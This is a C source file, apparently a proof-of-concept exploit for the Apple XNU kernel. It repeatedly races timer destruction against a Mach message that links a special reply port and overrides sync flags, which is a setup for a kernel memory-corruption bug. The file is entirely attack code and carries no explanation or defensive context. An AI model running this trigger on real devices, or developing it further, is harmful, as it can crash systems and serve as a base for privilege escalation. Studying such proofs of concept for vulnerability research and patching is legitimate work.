1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
|
#include <assert.h>
#include <errno.h>
#include <mach/mach.h>
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
mach_port_t mk_timer_create(void);
kern_return_t mk_timer_destroy(mach_port_t timer);
mach_port_t thread_get_special_reply_port(void);
typedef struct race_th_args_s race_th_args_t;
struct race_th_args_s {
int start;
mach_port_t move_port;
mach_port_t sr_port;
mach_port_t timer;
};
void *th_send_link(void *arg) {
race_th_args_t *rta = (race_th_args_t *)arg;
while (!rta->start);
struct {
mach_msg_header_t header;
uint64_t data;
} link_sr_msg = {
.header =
{
.msgh_remote_port = rta->move_port,
.msgh_local_port = rta->sr_port,
.msgh_bits =
MACH_MSGH_BITS_SET(MACH_MSG_TYPE_COPY_SEND, MACH_MSG_TYPE_MAKE_SEND_ONCE, 0, 0),
.msgh_voucher_port = MACH_PORT_NULL,
.msgh_id = 0x99999999,
.msgh_size = sizeof(link_sr_msg),
},
.data = 0x6666666666666666,
};
kern_return_t __unused kr =
mach_msg(&link_sr_msg.header,
MACH_SEND_MSG | MACH_SEND_OVERRIDE | MACH_SEND_SYNC_OVERRIDE |
MACH_SEND_SYNC_BOOTSTRAP_CHECKIN,
sizeof(link_sr_msg), 0, MACH_PORT_NULL, 0, MACH_PORT_NULL);
/*assert(kr == KERN_SUCCESS);*/
return NULL;
}
void *th_destroy(void *arg) {
race_th_args_t *rta = (race_th_args_t *)arg;
while (!rta->start);
usleep(2);
mk_timer_destroy(rta->timer);
return NULL;
}
int go(void) {
while (1) {
mach_port_t timer = mk_timer_create();
printf("[*] timer = 0x%x\n", timer);
mach_port_t move_port = MACH_PORT_NULL;
kern_return_t kr =
mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &move_port);
assert(kr == KERN_SUCCESS);
kr =
mach_port_insert_right(mach_task_self(), move_port, move_port, MACH_MSG_TYPE_MAKE_SEND);
mach_port_t sr_port = thread_get_special_reply_port();
/*printf("[*] sr_port = 0x%x\n", sr_port);*/
struct {
mach_msg_header_t header;
mach_msg_body_t body;
mach_msg_port_descriptor_t port;
} move_right_msg = {
.header =
{
.msgh_remote_port = timer,
.msgh_local_port = MACH_PORT_NULL,
.msgh_bits =
MACH_MSGH_BITS_SET(MACH_MSG_TYPE_MAKE_SEND, 0, 0, MACH_MSGH_BITS_COMPLEX),
.msgh_voucher_port = MACH_PORT_NULL,
.msgh_id = 0x88888888,
.msgh_size = sizeof(move_right_msg),
},
.body =
{
.msgh_descriptor_count = 1,
},
.port =
{
.name = move_port,
.disposition = MACH_MSG_TYPE_MOVE_RECEIVE,
.type = MACH_MSG_PORT_DESCRIPTOR,
},
};
kr = mach_msg(&move_right_msg.header, MACH_SEND_MSG, sizeof(move_right_msg), 0,
MACH_PORT_NULL, 0, MACH_PORT_NULL);
assert(kr == KERN_SUCCESS);
race_th_args_t rta = {
.start = 0,
.move_port = move_port,
.sr_port = sr_port,
.timer = timer,
};
pthread_t ths[2];
pthread_create(&ths[0], NULL, th_send_link, &rta);
pthread_create(&ths[1], NULL, th_destroy, &rta);
usleep(5);
rta.start = 1;
for (size_t i = 0; i < 2; i++) {
pthread_join(ths[i], NULL);
}
mach_port_destroy(mach_task_self(), timer);
mach_port_destroy(mach_task_self(), move_port);
mach_port_destroy(mach_task_self(), sr_port);
}
return 0;
}
|
